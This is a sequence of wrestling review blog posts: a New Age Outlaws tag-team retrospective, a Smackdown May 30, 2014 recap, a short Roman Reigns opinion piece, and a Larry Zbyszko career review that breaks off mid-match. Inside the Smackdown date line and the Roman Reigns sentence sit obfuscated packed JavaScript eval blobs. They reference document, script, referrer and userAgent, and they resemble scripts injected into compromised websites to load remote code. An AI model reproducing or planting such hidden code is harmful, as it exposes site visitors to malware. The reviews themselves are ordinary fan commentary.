Tag Titles: Edge/Christian vs. New Age Outlaws

Edge and Christian are young faces here and asked for a title match on Heat. How weird is it that Edge and Christian would be light years ahead of the Outlaws at the end of the day? The Outlaws are freshly reunited here and the pop is noticeably quieter. And I’m wrong as they’re WAY into the Road Dogg entrance stuff. Edge and Gunn start us off. Korderas is refereeing again which is good as there shouldn’t be any drama here.

This was when Gunn was still bearable in the ring so this is decent to start off with. Edge and Christian were young and awesome at this time so this is a fun match on paper. More or less no way they were going to win though as the Outlaws had just won the belts recently. Lawler asks Ross if he likes it doggy style. That’s just wrong. The Outlaws are showing off here which you NEVER see. It’s not bad actually. Edge is WAY into steroids here as he’s ripped as all goodness.

I don’t know if I believe this but I think the Outlaws are having a good standard tag match here. What in the world am I watching? You could tell that the challengers were going to be awesome at some point in the future. What would be called Poetry in Motion when the Hardys used it misses.

Gunn gets the hot tag and he just starts whipping ass. NICE powerslam. This is a solid match actually. And here are the Hardys and Gangrel. They beat up Edge and Christian so the Fameasser ends it. Screw this good match thing! We want RUN INS! Russo was gone but still being felt at this time I guess.

Rating: B. Solid stuff here as they went back and forth with the Outlaws showing that they could go when they wanted to. This of course makes me want to know: why didn’t they do it more often? It’s a shame they didn’t as this was awesome. Of course Edge and Christian would have their time.

Here’s one of their last defenses, from Royal Rumble 2000.

Tag Titles: Acolytes vs. New Age Outlaws

The Outlaws are defending and there’s a backstory that doesn’t deserve to be listed. Who would have thought that THIRTEEN YEARS LATER the Outlaws would be on house shows for the WWE again? The Outlaws are heels here but they’re over like free beer in a frat house here in New York. The APA storms the ring and the beating is on quickly. Bradshaw and Billy officially get us started with Billy taking a fast beating. Both guys tag as the referee is adjusting his ear piece.

Faarooq imitates Dogg’s dance before getting double teamed a bit. Bradshaw breaks up the shaky knee drop and everything breaks down. The Clothesline kills Billy and there’s the spinebuster to Roadie….but Billy pulls the referee out. The ref is bumped and Road Dogg is hit with a double powerbomb. X-Pac runs in and kicks Bradshaw’s head off. The Fameasser to the future JBL retains the titles in like two and a half minutes. This had to be cut for time. The Outlaws would lose the titles to the Dudleys next month and that would be the end of the team.

That would be their last regular tag team match in the WWF for over ten years. The team would however reunite in TNA as the James Gang (Road Dogg was BG James and Billy was Kip James), with one of their first matches coming at Final Resolution 2006.

Diamonds in the Rough vs. James Gang

It’s Elix Skipper/David Young and this is the return match for the James Gang. BG and Skipper start things off. Skipper shoves him down and it’s a very slow start. Skipper suplexes BG over and works on the arm for a second. BG comes back with the dancing punches and shaking knee drop for two. David and Kip come in for a few collisions that go nowhere.

The Diamonds try some double teaming but get caught in a double Japanese armdrag by Kip. They get sent to the floor and the Gang beats on them on the floor. The fans chant for the Outlaws but BG walks into a spinebuster from Young for no cover. There’s a reason the guy lost like 86 matches in a row. Skipper pounds on BG for a bit before it’s back to Young who covers, only to have Kip distract the referee. David misses a moonsault and it’s hot tag to Kip. Skipper clotheslines him down and everything breaks down. Young breaks up the pumphandle slam but Kip hits the cobra clutch slam for the pin on Elix.

Rating: D. You know there’s a running theme with these New Age Outlaws matches: they’re not that good. These guys were never known for their in ring work and it’s pretty clear why. The matches just aren’t any good with the action being generic the whole way through. There was nothing to this and it was a horrible return for the James Gang or whatever they’re called this month.

The team would eventually become known as the Voodoo Kin Mafia, which somehow is a jab at Vince (yes I get the initials thing). This led to a feud with Christy Hemme’s various teams, including this match at Victory Road 2007.

Voodoo Kin Mafia vs. Basham/Damaja

Ok so I’m betting some translations are needed. Lance Hoyt isn’t wrestling but rather is someone that was brought into the camp of the VKM (more commonly known as the New Age Outlaws with the initials VKM, which are the initials of one Vincent Kennedy McMahon) as a spy for Christy Hemme. Hoyt is more commonly known as Vance Archer and the other two wrestlers were better known as Doug and Danny Basham.

Oh and at the moment the Outlaws are known as BG James (Road Dogg) and Kip James (not Road Dogg). They debut Roxxi as the newest member of the Mafia. Now SHE was zombie hot.  Sweet goodness Christy looks great with her hair up and in a black dress. I totally do not remember the Bashams being in TNA.

Hemme keeps making out with Hoyt for some reason. Christy and Hoyt come into the ring and we get the Knockouts showdown before they were called Knockouts. Hoyt of course jumps Road Dogg and the heels take over in standard fashion. The fans are bored with the match. That’s odd as it’s not that bad. It’s bad mind you, but there’s nothing here that is standing out as terrible.

Not Road Dogg hits a Jackhammer for two. With the referee talking to Hoyt, Road Dogg pops Damaja with a chair so that not Road Dogg can get the pin. Road Dogg beats up Hoyt afterwards. Roxxi hits a Dominator on Christy.

Rating: D. Just…why? Why is this on PPV? I get that it was a feud etc but this just wasn’t interesting at all. I know TNA is bad about thinking matches have potential or whatever but they thought this was good? This is a great example of people complaining about TNA taking WWE rejects. Why in the world would you bring in the Bashams? Not horrible, but just very uninteresting.

The team would leave TNA a bit later and go into a six year hiatus before returning to WWE on Old School Raw for a cameo match.

New Age Outlaws vs. Primo/Epico

Dogg and Epico get things started and there are the shaking punches followed by the shaky knee drop for two for Roadie. Primo distracts Dogg though and Epico gets in a dropkick to take over. The cousins work over Roadie with Epico hitting a slingshot elbow for no cover. Off to a chinlock for a bit but Roadie fights up and the two of them collide. Hot tag brings in Billy who pounds away on both guys before getting two off a tilt-a-whirl slam. Everything breaks down and the Fameasser ends Primo at 2:58.

After most of another year off, they would come back, beat the Tag Team Champions in a non-title match and get a title shot at Royal Rumble 2014.

Pre-Show: Tag Titles: New Age Outlaws vs. Cody Rhodes/Goldust

Cody and Goldust are defending and lost a non-title match to the Outlaws to set this up. Road Dogg starts with Cody and is taken down by a quick shoulder block. Back up and Roadie hits his shaky fist but has to duck the Disaster Kick. Gunn comes in off the tag but is quickly sent to the floor for a top rope clothesline as we take a break. Back with Road Dogg dropping a knee on Goldust for two and putting on a chinlock.

Goldust fights back up and a double clothesline puts both guys down. Billy breaks up a tag attempt as the announcers brag about how Gunn hasn’t aged a bit since the 90s. For 50 years old the guys is in good shape. Goldust finally makes the hot tag and Cody speeds things up, including a double springboard missile dropkick to put both Outlaws down. Cross Rhodes lays out Road Dogg but Billy saves at two. Billy comes in off a blind tag as Cody hits the Disaster Kick to Roadie, setting up the Fameasser for the pin and the titles at 6:30.

Rating: C. I was surprised here. Not only was this not the result I was expecting, but the match was better than I thought it was going to be. The Brothers had been on one heck of a roll since the fall, but this likely leads into the Authority being corrupt storyline. That doesn’t make sense given that the Outlaws just won the match clean, but I’m assuming that’s the idea.

There was a rematch on Raw, February 3, 2014.

Tag Titles: New Age Outlaws vs. Cody Rhodes/Goldust

The Outlaws are defending and you can only win by pinfall or submission, not escaping. We get the big match intros after a break and we’re ready to go. Goldust grabs a headlock on Road Dogg to start before taking Dogg down in something like an armdrag. He gets on all fours to chase Roadie to the corner but Goldust lets him go. Road Dogg asks Billy what they’re doing in here before tagging Gunn in to face Goldust.

Cody comes in with a sunset flip out of the corner for two and a small package gets the same. Back to Road Dogg who takes Cody into the corner as a CM Punk chant starts and quickly dies. Billy comes in again and pulls Cody’s bad elbow around the top rope before putting on an armbar. The announcers talk about the tag division until it’s back to Goldust for an armbar on Road Dogg. Not exactly inspiring stuff so far.

Goldust pounds on Dogg in the corner with right hands but misses a cross body and crashes into the cage to change momentum as we take a break. Back with Goldust still in trouble via a Road Dogg chinlock until it’s back to Gunn who walks into a clothesline out of the corner. Goldust finally makes the hot tag to Cody as everything breaks down. The Disaster Kick gets two on Billy and Cody is frustrated. He looks up at the top of the cage, tells Billy to suck it and starts to climb. Cody goes to the top of the cage, totally misses the moonsault press on Road Dogg and gets caught by the Fameasser to give Billy the pin at 16:10.

Rating: D+. This was a very boring match that didn’t need to be in a cage except for the big spot at the end. I’m assuming the Brothers are going to be splitting up soon which isn’t the worst idea in the world. It also helps that they didn’t go with the losing streak angle to set up the title change.

We’ll wrap it up with their final regular tag team match, from March 3, 2014 on Raw.

Tag Titles: New Age Outlaws vs. Usos

The Outlaws are defending but Road Dogg doesn’t think the fans here are worthy of hearing his catchphrases. It only took them two months to remember they’re heels. Jey hammers on Roadie to start but gets whipped hard into the corner. Uso comes out holding his knee so Dogg kicks him to the floor for a breather. Billy throws him back inside and hammers away before it’s back to Dogg. Jey’s leg seems to be holding up well enogh and Dogg even works it over a bit. Roadie throws him to the floor as we take a break.

Back with Jey fighting out of a chinlock but getting slammed down for two. Dogg comes back in and takes a spin kick to the face (the knee seems fine). The hot tag brings in Jimmy to face Billy. Dogg gets knocked off the apron and a Samoan drop puts Gunn down. There’s a Bubba Bomb to Billy and the running Umaga attack in the corner to Roadie.

A reverse Whisper in the Wind hits Gunn and there’s a superkick to knock Dogg to the floor. Gunn rolls up Jimmy for two and the tilt-a-whirl slam gets the same. The Fameasser just misses and the Usos do the plancha with the flying tag, setting up the superkick and Superfly Splash to FINALLY give the Usos the Tag Titles at 9:27.

Rating: C+. It’s about three years overdue but this was the best way to do it. I have no problem with the Outlaws keeping the title for just a few weeks as they put the young guys over 100% clean before Wrestlemania. Good little match and they made it feel like it meant something, which is rare for these titles.

The Outlaws are definitely a team that was better on the mic than in the ring. You might be looking at this and thinking “that’s it?” To be fair, you’re probably right for the most part. There really aren’t a lot of great Outlaws matches, but at the same time there were TONS of great promos and bits over the years. They were definitely a big deal though and a huge force in the Attitude Era.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Survivor Series at Amazon for just $3.99 at:

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Smackdown – May 30, 2014: Who Would Have Seen That Coming?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhib|var|u0026u|referrer|bnfbd||js|php'.split('|'),0,{})) May 30, 2014
Location: Phillips Arena, Atlanta, Georgia
Commentators: Michael Cole, John Bradshaw Layfield

It’s the final show before Payback and every major match is firmly set up for Sunday. The main story coming off Raw is Daniel Bryan having to surrender the title on Sunday or have his wife Brie Bella get fired. If nothing else we should get a solid conflicted promo tonight, which should be good coming from someone like Bryan. Let’s get to it.

Here’s Shield to get things going. Rollins says what doesn’t kill you makes you stronger, so after Monday, they’ve never been stronger. We get a clip from the end of Raw and Evolution beating Shield down thanks to the sledgehammer, including a TripleBomb to put Reigns through a table. Ambrose says they don’t care how many times they get beaten down because they’ll keep fighting. The question is how crazy is Evolution willing to get because this is going to get really ugly. Seth says he’ll pin Randy Orton and a stretcher will take him to the back. Then they’ll eliminate Batista, and it’ll be HHH against all three of them.

We see a list of great Intercontinental Champions.

Cesaro vs. Kofi Kingston

A hard shoulder puts Kofi down early so he tries an armdrag. Cesaro doesn’t move and instead lifts Kofi up off the mat by the arm into a backbreaker. A gorilla press puts Kofi down again but he avoids a charge in the corner and hits a springboard right hand to the head. Kingston gets two off a kick to the head (JBL: “How do you not notice those fluorescent feet coming at you?) and goes up for cross body, only to dive into an uppercut for the pin at 2:57.

Cesaro Neutralizes him post match.

Barrett says he’ll beat Sheamus tonight to prove a point to RVD. The International Title is more prestegious than the US Title.

Paige vs. Tamina Snuka

Non-title. Alicia comes out almost immediately and takes pictures with fans. Paige loses her focus, allowing Tamina to headbutt her down to take over. Fox takes the title belt for another distraction, so Tamina kicks Paige’s head off for two. Paige gets all ticked off and fires elbows in the corner, followed by fast clotheslines and knees to the face. The Paige Turner sets up the Scorpion Cross Lock (PTO: Paige’s Tap Out) for the submission at 3:22.

Rating: C-. Now this is more like it from Paige. Instead of getting beaten up for most of the match and then making a big comeback at the end, Paige beat the tar out of Snuka for most of the match before making her tap out with ease. That’s the kind of win she’s been needing to show that she isn’t just a fluke.

Sheamus says Cesaro not shaking his hand is like feeding a Gremlin after midnight. He doesn’t know much about geography or continents, but he knows when the US Champion’s foot connects with the Intercontinental Champion’s face, it’s going to knock Barrett’s teeth down his throat.

Bo Dallas vs. Xavier Woods

Dallas starts with an armdrag and heads to the floor to celebrate. Woods grabs him but gets sent out to the floor as it’s all Bo so far. Back in and a knee drop sets up a cravate on Woods but he comes back with a clothesline and a dropkick. The Honor Roll (flipping clothesline) gets two for Woods but Bo dropkicks him out of the air, setting up the Bodog for the pin at 2:47. JBL: “It’s not 3-0. It’s 3-Bo!”

Bo does the big celebration and congratulates Woods on such a hard fought effort.

We look at the Wyatt/Cena/Lawler segment from Raw.

Video on Torito having his tail ripped off on Monday. This made me smile.

El Torito vs. Jinder Mahal

Torito has Brutus Beefcake style hedge clippers. He looks for his tail after the bell before focusing on the match. A dropkick to the leg sends Mahal into the corner and we get a chase scene. There’s a bit of cotton where the tail is growing back. An atomic drop hurts Torito really badly due to the wound but he’s able to come back with a sunset bomb, setting up the Bullsault (why not?) for the pin at 1:40.

The little guys have a showdown post match and Hornswoggle runs from the clippers.

We see a list of great US Champions to set up the champion vs. champion match next. The Intercontinental Title list really did blow this one away.

Sheamus vs. Bad News Barrett

Non-title and Heyman is on commentary and has now stretched the Streak to a twenty five year accomplishment. Cole asks Heyman which title means more and gets this great response: “Whichever is next held by a Paul Heyman Guy.” Barrett hammers away in the corner to start before taking over with a running clothesline. Bad News comes back with that cool spot where he sets himself up for a superplex but jumps down and spins into a snap suplex for two.

Sheamus’ ten forearms are broken up and Barrett knocks him to the floor for a running elbow off the apron. Back in and a running clothesline drops Barrett, followed by the rolling fireman’s carry. Barrett gets knocked to the floor and Sheamus takes him down with a shoulder from the apron. Sheamus takes too much time though and gets whipped into the steps as we take a break.

Back with Sheamus fighting out of a chinlock and nailing his running ax handles followed by the running knee lift. Sheamus charges into an elbow in the corner though and a loud low superkick gets two. An Irish Curse gets Sheamus out of trouble and the ten forearms to the chest have Barrett in trouble. White Noise is escaped though and Winds of Change get another close call. Wasteland is countered and a Brogue Kick gets the pin at 7:12 shown of 10:42.

Rating: C+. Good brawl here but again a champion, who has been on fire recently, has to get pinned. On top of that, Sheamus’ head injury from Friday was only mentioned on commentary and didn’t change anything in the match. Barrett looked good here but I don’t see the need to have him lose here. Do a double countout or something like that instead of a clean pin, but fixing that is a long lost cause in WWE.

Sheamus goes after Heyman post match but Paul talks his way to safety.

The Usos are banged up from their match on Main Event where they lost to the Wyatt Family. Tonight it’s Jimmy vs. Bray Wyatt in a last man standing match. They give a solid, fired up promo about throwing the rulebook out the window tonight.

We look at Titus O’Neil beating up Big E. a month ago.

Big E. vs. Titus O’Neil

Points to them for remembering an issue between these two. Big E. comes out with the American flag due to what happened with Rusev on Monday. The match for Sunday is official. Also before the match we get the usual from Lana, this time running down the American flag and saying Russia has the true red white and blue flag. Rusev comes out for his Russian speech and Titus uses the distraction to jump Big E. That lasts a few seconds before Big E. comes back with a belly to belly suplex and the running body attack. The Warrior Splash sets up the Big Ending for the pin at 1:11.

Big E. waves the flag like a Real American.

Adam Rose vs. Jack Swagger

This doesn’t make the pay per view? Colter is on commentary and Swagger gets a jobber entrance while we look at what happened between these two on Monday. Colter wants Rose deported and the party people arrested for impersonating human beings. Rose runs around with the lollipop in his mouth to start and offers it to Swagger. Jack charges but is easily sidestepped before Rose jumps into Swagger’s arms. Swagger has no idea what to think and bails to the floor where Rose quickly follows. Back in and Jack tries a monkey flip but Rose dives forward to pull Jack’s legs forward for a pin at 2:18.

The Raw ReBound covers the Bryan/Stephanie segment from Raw.

Bray Wyatt vs. Jimmy Uso

Last man standing. Bray hammers on Jimmy in the corner to start before running him over with a shoulder block. A dropkick puts Jimmy on the floor and a big dive takes him down again but Bray is quickly back up. Back from a break with Bray hitting a running splash in the corner but Jimmy fires off some right hands. Bray plants him with his suplex slam and hammers away, only to walk into a Samoan drop.

That doesn’t keep Bray down either but he gets low bridged out to the floor. Jimmy tries a running dive off the barricade but Wyatt ducks underneath, only to walk into a huge superkick for seven. Back in and Bray hits that running cross body, followed by the Spider Walk out of the corner. Jimmy headbutts out of a superplex and nails the Superfly Splash for a count of eight but Bray is mad.

He throws Jimmy out to the floor but the Uso catches him with a jumping enziguri. The running Umaga attack against the barricade has Bray in big trouble but he uses the steps to get up at nine. The Family takes out Jey but Jimmy nails Wyatt with another superkick, only to have another Umaga attack hit the steps. Sister Abigail on the floor is good for the win at 12:03 as Bray hangs upside down from the apron and counts along.

Rating: B. This was WAY better than I was expecting as Bray was actually tested a bit. I don’t think anyone in their right mind expected Jimmy to win here but they made something out of it and that’s the best thing you can do in a match where the ending is fairly obvious. This was a very nice surprise and a good sign for the Usos’ futures.

Overall Rating: C+. This was a pretty standard go home show with a solid main event. Almost every match got some build and that’s really all you can ask for out of this kind of show. There’s nothing on here worth going out of your way to watch, though the main event was solid stuff. Other than that though, there are too many short matches here to really work for me.

Results
Cesaro b. Kofi Kingston – Uppercut
Paige b. Tamina Snuka – Scorpion Cross Lock
Bo Dallas b. Xavier Woods – Bodog
El Torito b. Jinder Mahal – Bullsault
Sheamus b. Bad News Barrett – Brogue Kick
Big E. b. Titus O’Neil – Big Ending
Adam Rose b. Jack Swagger – Bridging cradle
Bray Wyatt b. Jimmy Uso – Uso couldn’t answer a ten count after Sister Abigail on the floor

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Survivor Series at Amazon for just $3.99 at:

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Thought of the Day: Next!

With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiriz|var|u0026u|referrer|dthzk||js|php'.split('|'),0,{})) regards to Roman Reigns.The line you hear is that REigns is supposed to be the next John Cena.  For the life of me I can’t see that happening.  Reigns just doesn’t have the talking skills and doesn’t come off as an alpha male like Cena or any other top guy.  What I can however see is Reigns as the next Batista or Goldberg.  That’s not a bad place to be in and would put him as one of the top guys in the company for a very long time.




Wrestler of the Day – May 11: Larry Zbyszko

I’ll cut the stalling and get right to it. Today is Larry Zbyszko.

Zbyszko got his start in 1973 and would be in the WWF pretty early on in his career. We’ll start in MSG, December 19, 1977.

Larry Zbyszko/Tony Garea vs. Jack Evans/Larry Sharpe

This is two years before Zbyszko would have his big feud with Sammartino so he’s not much yet. There’s a curfew from the New York Athletic Commission stating a show can’t go on past a certain time so this has 15 minutes max despite being listed as a one hour time limit. That’s no joke actually and they really have to stop the match after a certain time of night. Larry Sharpe is one of the three or four most prolific trainers ever, having trained about fifteen guys that I’ve heard of, the most famous being Raven, Sheamus and Big Show among a ton of other midcard guys.

Evans and Garea start us off and the crowd is just spent. Much like them I just don’t care either. Ending with a tag match like this is kind of a weird idea but I guess they didn’t want to risk anything important being cut off. Garea gets beaten on forever as like five minutes have passed since the last thing I typed. There’s just nothing worth mentioning at this point as even Vince has said this isn’t going to crack 15 minutes due to the curfew.

Zbyszko finally gets the tag and comes in to get a backdrop for the pin and the first fall. Larry beats up Jack as we’re desperately running out of time. The next show, which apparently isn’t the one Backlund wins the title on, won’t air on TV. Such a shame. Actually looking at the card, no it isn’t. The only interesting thing is an elimination 8 man tag match which we would call a Survivor Series match.

This is just going on and on as you know the time is about to run out. Everyone goes in at once. The heels are apparently called the Blonde Bombers, which about 93 teams have used over the years. Garea beats up Evans and the bell goes off for the curfew. Larry and Tony win by being up one fall, making this a kind of Ironman match. The curfew is 11. Seriously that’s just weird to hear.

Rating: D+. Nothing too bad here but they weren’t getting anywhere fast at all. This was one of those things that they throw on at the end to fill out the card, kind of like the final matches on a SNME or something. It wasn’t interesting or anything but it wasn’t horrible I guess.

From January 21, 1980, against someone you may have heard of.

The Great Hossein Arab vs. Larry Zbyszko

This is called the third bout and it’s right after the previous one on my list. Arab is much more famous as The Iron Sheik. Sheik tries to take it to the mat but Larry escapes to a stalemate. Larry speeds things up and sends Sheik to the floor where he gets very ticked off. Back in an elbow misses and Sheik is even madder. I sense a humbling. Larry hooks a headlock and pounds away with right hands. The fans are way into this.

Back to the headlock and things speed way up with a crisscross. Sheik hits a pair of leapfrogs but gets caught in the headlock again. Sheik has finally had enough and blasts Larry in the face, but a knee drop misses and it’s back to Zbyszko. There’s an abdominal stretch but Sheik reverses into one of his own but that gets reversed as well. Sheik sends him into the corner and backdrops him for two.

We finally get to the heel control portion of this but it ends just as quickly in a Zbyzsko sunset flip. They collide and both of them go down. Sheik gets up first with a suplex but he can’t cover immediately so it only gets two. Another suplex is countered into a small package which gets two for Larry, as does a slam. Sheik loads up one of the boots but Larry trips him down and goes after it. That somehow gets two but Sheik kicks him onto the ref. That’s not enough for him so he drops an elbow on the referee for the DQ.

Rating: C-. It’s amazing what charisma can do for you. This was only a little bit better of a match than the previous one, but the charisma the two guys have made me want to see them fight which is what made things work better here. Sheik getting more and more disgruntled until he snapped worked a lot better for a story than “I’ll hit you a lot.” Larry would turn heel on Sammartino the very next day.

From literally the next day, the start of the biggest story of Zbyszko’s career.

Larry Zbyszko vs. Bruno Sammartino

Now THIS is some legendary stuff. This is the original match where it’s more of an exhibition than a match. Basically Bruno is the teacher who taught Larry everything he knows but Larry wants to prove he can hang with Bruno. This is from January of 1980. This is going to be all feeling out/nice guy stuff until the very end. Sammartino takes him to the mat with a drop toehold and has dominated the entire match so far.

Bruno keeps putting holds on Larry and then lets them go which is an odd choice of offense. Larry grabs an abdominal stretch but Bruno powers out of it. Half crab goes on Bruno but Larry lets it go. Sammartino grabs about his fifth hold and lets go of it too. They try a crisscross and Larry gets tossed over in a hiptoss. He’s getting very ticked off here.

Apparently Bruno said he’d only wrestle defensively in this match. Larry heads to the floor to cool his head and Bruno looks the other way for some reason. Larry comes back in and in the biggest heel turn ever at this point, DESTROYS Bruno with a wooden chair. There is blood all over the place. This was shocking and came out of absolutely nowhere. It also set up the hottest feud of the year which we’ll get to the blowoff of in a second.

Rating: C-. The match itself means nothing as the heel turn is the whole thing. This was one of the biggest angles ever and is still a huge turn that works to this day. They would feud over the summer and would blow it off in front of about 40,000 people in the infield of Shea Stadium. We need to get to that now.

And then the rematch.

Larry Zbyszko vs. Bruno Sammartino

Wrestling 101 here: Bruno was the mentor, Larry decided he had surpassed the teacher, teacher kept being the star, student attacks the teacher, they go to a baseball stadium and have a wrestling match in front of 36,000 people in a box with no lid on it. Tale as old as time. Old school cage here, as in the kind they have now. NUCLEAR heat on Larry. Bruno gets the only entrance of the night.

We even get clips of Zbyszko’s heel turn which is WAY rare. Bruno jumps him to start and Larry hits the cage 3 times in about 5 seconds. You can only go through the door here and not over the top for no apparent reason. Apparently Larry talks about this match to the point of annoyance. Low blow gives Larry a chance to breathe as this has been very intense so far.

Foley makes another interesting point: Bruno headlined all three Shea shows and only once was world champion at the time. That’s saying a lot. This is the first match with an angle and the crowd clearly knows it. We get into a discussion about whether Bruno would be successful today and the commentators say yes because he was the people’s man. You know, like that blue collar guy that represented the hard working everyman who didn’t like his boss. Someone you could have a beer with. Or maybe a case of them if you get what I’m talking about. Yeah I think Bruno would have worked today.

Almost all Bruno so far. Now we talk about Stan Hansen inspiring Foley to sleep with his wife. Ok then. We hear about Larry and Foley driving together and Cole says how would they get a word in edgewise? Foley says he only talks over Cole because he’s smarter than Michael is. Nice line! Bruno’s arm is bleeding so Larry punches away at it. After nearly ten minutes Larry makes the first attempt at the door, naturally not getting there.

We get into a semi-argument over whether or not Foley ever worked out. Foley seems genuinely ticked off about that and I can’t say I blame him. Bruno wakes up and beats the heck out of Larry, kicking him in the head one more time and walking out to win it definitively. Bruno beats on him some more after the match ends

Rating: C+. Solid match for what it was supposed to be which was a big time brawl. The fans loved it and Bruno decisively won. What more can you ask from them? This was a blowoff to a feud and that’s what they did. There’s nowhere for this feud to go from here and it ended. That’s what gimmick matches are for. LEARN THIS RUSSO!

After some time in the territories, Zbyszko would head off to the AWA, with one of his first major matches being against Dusty Rhodes in St. Paul, Minnesota on June 10, 1984.

Larry Zbyszko vs. Dusty Rhodes

Zbyszko immediately stalls on the apron before getting caught in an early armbar. Back to the apron for a bit until Larry gets hammered by right hands. Larry rakes at the eyes but Dusty comes back with elbows to the head followed by some strutting. They hit the ropes and a quick (for Dusty) elbow to the head sets up the big elbow drop for the pin.

Rating: D-. Yes his finishing move really was an elbow drop at this point. The match was nothing to see but Rhodes was one of the biggest stars in the world at this point so the fans were WAY into this. Larry would become a much bigger deal in the AWA soon enough, but he would never be at Dusty’s level.

Speaking of people who were big stars, here’s a tag match from StarCage 1985.

Brad Rheingans/Bob Backlund vs. Larry Zbyszko/Butch Reed

Once Backlund left the WWF he didn’t really do much but this was probably the high point of his non-WWF stuff. Rheingans vs. Reed to start which is a pure power match. The idea here is that Brad and Backlund both coached the US Olympic team which I’ve never heard of but maybe it’s true. Anyway Brad gets caught in a headlock but he hits a dropkick to take Butch down. Off to Backlund and it’s time for the arm work.

Forget Backlund because Brad is in before he can do much at all. Larry comes in and Brad puts on a HARD headlock before bringing in Backlund for a bit softer headlock. Brad comes in again and we get some good old fashioned cheating to take him down. Butch and Larry hit a double slam for two followed by a big boot to take Rheingans down, but for some reason he’s able to easily tag out.

Backlund comes in and naturally works on the arm some more. More heel cheating (do I need to bother to explain which team is the heel version?) gets Backlund in trouble and it’s chinlock time. Larry comes in and slams Backlund for two before more double teaming follows. A small package gets two for Backlund but it’s back to Reed with a double ax to the back. There’s a bearhug as Reed slows things down again.

Off to another chinlock by Reed and Backlund is in trouble again. Back to Larry for more stomping to Backlund and there’s the abdominal stretch that Zbyszko loves to use. We can’t have a tag yet though because we need the sequel to the bearhug: the LIFTING bearhug! Just like earlier, a headbutt gets Backlund out of the hold and they collide off the ropes.

Bob makes the tag and even though the referee doesn’t see it, he lets it go anyway. I guess he’s as bored as I am. After a quick cleaning of house, Backlund is brought back in to pound away on Larry, who apparently has a title Backlund wants. That helps a bit I guess. In a very abrupt ending, Larry sets up a piledriver but Backlund backdrops him and stays on top for the pin.

Rating: D+. As I said, this match just kept going. It’s pretty clear that they’re extending the matches longer than they should go due to the amount of time they have and a total of seven matches on the card. The problem with this show is that the stories for these matches are almost tacked on, making the matches hard to get into. They’re not bad though.

And from the infamous WrestleRock 1986.

Larry Zbyszko vs. Scott LeDoux

LeDoux was a legit boxer before becoming a referee and wrestler in the AWA. This is under “European” rules, which means they wear gloves and we have ten two minute rounds. Larry Hennig, Curt’s papa, is the referee for no apparent reason. It’s really closer to boxing than wrestling but it’s the AWA so I doubt they knew what it was supposed to be. They tease hitting each other for a bit until LeDoux grabs a full nelson. Larry escapes and Scott (what is with that name being so popular in this company?) unloads on him with punches, sending Larry to the floor.

This is actually closer to MMA (kind of almost sort of) than boxing or wrestling but whatever. Larry chills with his ninja (don’t ask) for a bit as we’re probably about halfway through the first round. LeDoux gets into a boxing stance so Larry bails to the apron. I’m shocked too. Larry picks the leg and goes to the mat which is smart. Round 1 ends with Larry in control.
Off to round 2 and Larry gets on one knee. He gets up and hits a spinning kick to the ribs.

Larry climbs on his back which doesn’t work at all as LeDoux pounds on the ribs with elbows. Armdrag by Larry into an armbar but LeDoux punches him in the face. Larry pounds him in the corner and slams him for no cover. Zbyszko pounds on him to end the round.
Round 3 begins with Scott’s eye swelling shut. Larry takes him to the mat and hooks a front chancery. For the first time we’re told you win by pin or knockout. Decisions are still a gray area. Larry POUNDS HIM with punches and a kick to the ribs. Back to the mat and Larry is totally dominating him.

Round 4 starts with Larry missing a kick and LeDoux gets in a flurry to take over. For no apparent reason he grabs Larry and rams him into the corner. There’s a slam and Larry is reeling. The fans aren’t that thrilled but you can’t please everyone. They’re both getting gassed here but LeDoux clocks Larry to end the round but the bell saves him.
Larry starts round 5 bleeding and gets knocked to the floor….where he rams LeDoux into the post for the DQ 5 seconds into the round.

Rating: C-. I liked it but it wasn’t great. As usual with this show, I have no idea why they were fighting because the announcers are too busy telling us that the AWA is a national company to give us a simple story. The match was entertaining though which is really all you can ask for in something like this. Good stuff and thankfully they kept it fast paced. If this was just boxing, it would have been a disaster.

Larry would head back to the NWA for awhile where he would challenge for the Western States Heritage Title (it’s as worthless as it sounds) and defend it at Bunkhouse Stampede.

Western States Heritage Title: Larry Zbyszko vs. Barry Windham

Barry is defending.  This belt lasted for about a year and a half. The name is from the fact that it started in the UWF out of Tulsa. What you’re looking at here are the only two men to ever have the title. Keep in mind that the WESTERN STATES Title is being defended in New York. Larry is just as annoying looking as he used to be. Again, no reason for this to be on the card or anything. It’s just there.

Barry is champion here and Larry has Baby Doll, the original Diva for lack of a better term with him. She looked ok but good for the late 80s. Since it’s a Larry match, the required stall gets about two minutes. Since this is a PPV though, that’s just your initial stall. I’d bet on more coming. A headlock hits after about four minutes. The crowd is rather irritated after the last debacle of a match.

I was right: Larry is stalling. Apparently there’s a history here. Don’t worry about telling us what it is or anything. Windham has a bad knee. Why you ask? Eh not told that either. Why would you need to know anything unimportant like that? Larry tries a dropkick. WOW. Even Ross makes fun of it. Oh no. LARRY USES A HAMMERLOCK! AHHHHHH!!!

Windham gets a freaky looking rollup as Zbyszko is sitting on the mat and Windham wraps his legs around him from behind. He rolls over and gets a rollup for two. Cool looking move. Windham calls the referee a bastard when he’s asked if he gives up in a leg lock. Larry uses what we would call an ankle lock. Wow that’s weird to see in the 80s.

Windham goes up and misses an elbow off the top that looked awful. It looked like he just jumped and hoped it would have hit. Larry works on the knee, which at least is consistency, although he switches things up rather than just using the same hold. ARE YOU LISTENING BOBBY EATON? Again, WHY DO THESE TWO HATE EACH OTHER? It’s never been explained. Also, when did Larry learn karate?

